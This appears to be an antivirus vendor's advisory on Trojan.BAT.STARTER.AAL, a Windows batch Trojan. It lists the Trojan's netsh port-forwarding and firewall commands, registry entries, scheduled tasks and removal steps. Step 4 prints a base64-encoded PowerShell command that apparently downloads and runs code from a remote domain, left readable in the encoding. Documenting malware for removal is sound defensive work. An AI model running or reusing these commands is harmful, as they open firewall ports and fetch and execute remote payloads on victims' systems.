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Trojan.BAT.STARTER.AAL

February 28, 2019
 ALIASES:

N/A

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

1,539 bytes

File Type:

BAT

Memory Resident:

No

Initial Samples Received Date:

23 Feb 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • netsh interface ipv6 install
  • netsh firewall add portopening tcp 65532 DNS2
  • netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53
  • netsh firewall add portopening tcp 65531 DNSS2
  • netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53
  • net start Ddriver
  • %System%\net1 user k8h3d /del

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Other System Modifications

This Trojan adds the following registry entries as part of its installation routine:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\PortProxy\v4tov4\
tcp
*/65532 = "1.1.1.1/53"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\PortProxy\v4tov4\
tcp
*/65531 = 1.1.1.1/53

Dropping Routine

This Trojan drops the following files:

  • %Windows%\XjvX.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://v.{BLOCKED}h.com/v{User Domain}
  • {BLOCKED}.{BLOCKED}.1.1:53

It adds the following scheduled tasks:

  • name:Bluetooths
    Trigger: powershell -ep bypass -e {base64 encoded} /F
  • name: vnPcVNWz
    Trigger: %Windows%\XjvX.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.834.05

FIRST VSAPI PATTERN DATE:

24 Feb 2019

VSAPI OPR PATTERN File:

14.835.00

VSAPI OPR PATTERN Date:

25 Feb 2019

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PortProxy\v4tov4\tcp
    • */65532 = "1.1.1.1/53"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PortProxy\v4tov4\tcp
    • */65531 = "1.1.1.1/53"

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task name:Bluetooths
  • Task to be run: powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
  • Task name: vnPcVNWz
  • Task to be run: c:\windows\XjvX.exe

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Remove the malware/grayware file dropped/downloaded by Trojan.BAT.STARTER.AAL. (Note: Please skip this step if the threat(s) listed below have already been removed.)

    • %Windows%\XjvX.exe

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.STARTER.AAL. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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